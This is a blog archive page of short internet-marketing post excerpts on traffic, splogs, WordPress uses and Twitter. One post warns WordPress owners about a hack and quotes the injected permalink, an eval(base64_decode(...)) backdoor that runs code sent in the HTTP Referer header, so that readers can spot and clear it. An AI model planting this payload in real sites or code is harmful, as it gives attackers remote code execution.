BizExcellerated Internet Marketing: Achieve mastery in blogging, affiliate marketing, social traffic generation at Andrew Wee
If you look across the board, it looks like blogs are generally showing lower traffic numbers, compared to about 5 years ago.
Part of it is due to the emergence of micro blogging platforms like Twitter and social media networks like Facebook.
I’m also part of the group that finds it easier to (more…)
I checked my blog and the URLs looked malformed, with the following structure: http://www.whoisandrewwee.com/2009/09/03/unlocking-unconventional-traffic-sources-for-affiliate-campaigns/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/#comment-506929
If you notice something similar or weird with your WordPress blog, you might want to take the following steps:
Once you’ve secured the perimeter, look at the “Settings” and “permalinks” tab.
If you see some weird stuff like “%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/#comment-506929”, you’d want to clear that, and replace it with your original permalink structure, or look it up on the WordPress codex.
You can also check out this other blog post for more details.
Note: this issue seems to be affecting WordPress 2.6.x. Not sure to what extent it’s affecting version 2.8.x.
UPDATE: Matt Mullenweg from the WordPress development team has posted about the security issues if you’re using an older version of WordPress. Here’s a WP support forum write up about what might be happening.
You might want to upgrade to a newer version of WordPress. Just take note that some of your plugins/themes might not work if the developer hasn’t updated the plugin for compliance with the newest version.
If blatantly taking a blog’s RSS and republishing on their domain, plastering the post with adsense wasn’t enough, sploggers (spam bloggers) have started using a new WordPress plugin to do their dirty work.
Enter the “Related Blogs” plugin, an otherwise somewhat useful plugin that works like a “Related Blog Posts” plugin, except that it will point outside the blog to other blogs in the blogosphere, attempting to fire off a trackback in the other blog’s comments section in the process.
While writing a content-filled post and looking for related blogs using relevant keywords/keyphrases can provide value to the reader and help create an inter-blog conversation, merely throwing in high traffic keywords into the plugin and accompanying that with little or no blog content does not create any value for your readers.
Take a look at these examples:
The example above shows the classical layout of a MFA (made-for-adsense) blog with a Google adsense block, followed by content below. In this case “content” was generated by doing (more…)
With the multitude of functions that blogging platforms are currently being appropriated for (especially WordPress software), is blogging in danger of losing its identity.
It’s no surprise that blogs are highly optimized for search engines, tend to be the weapon of choice for linkbait campaigns and are usually the chosen weapon when a single individual (or marketer) decides to take on an airline, supermarket chain, or budget airline.
Add to that the fact that affiliate marketers are also employing it’s flexible architecture to construct landing pages, opt-in forms, affiliate content sites, shopping/shopping comparison sites, coupon sites, customer loyalty sites (plus the occasional or maybe not so occasional affiliate cookie stuffing site) and you’d realize that it’s not just a diarying platform anymore.
In a tweet yesterday, Top Ranking Marketing CEO Lee Odden fired (more…)
The answer to an old question whether it’s more important to focus on style or content (also sometimes refered to as “form or function”) when it comes to content publishing on the internet will have most listeners responding “You need both quality content and an interesting way to generate traffic and monetize it.”
Easier said than done though.
From my research, most podcasters and video bloggers who generate “interesting” (ie not boring) content tend to be clever/witty, use cool background music, broadcast/guerilla-style video effects and transitions, to the point of being Seinfeld-ish (ie being about nothing) in nature.
If anything, the message is (more…)
With the amount of publicity in old guard mainstream media (late night talk shows, old line newspapers), you’d think that Twitter was the best thing since sliced bread, which leaves some wondering if the death knell has been sounded for bloggers.
Take a look at the signs of the impending apocalypse, once proud A-Lister bloggerati have taken a hiatus, stopped blogging, or are pummelled over the twitterstream into irrelevance. Is blogging, once the circa 2006 golden boy of mainstream media, now it’s whipping boy?
More importantly, is anyone going to read more than the 140 character limit imposed by micro blogging platforms like Twitter?
Are we destined to become a SMS/text nation?
Gee… (more…)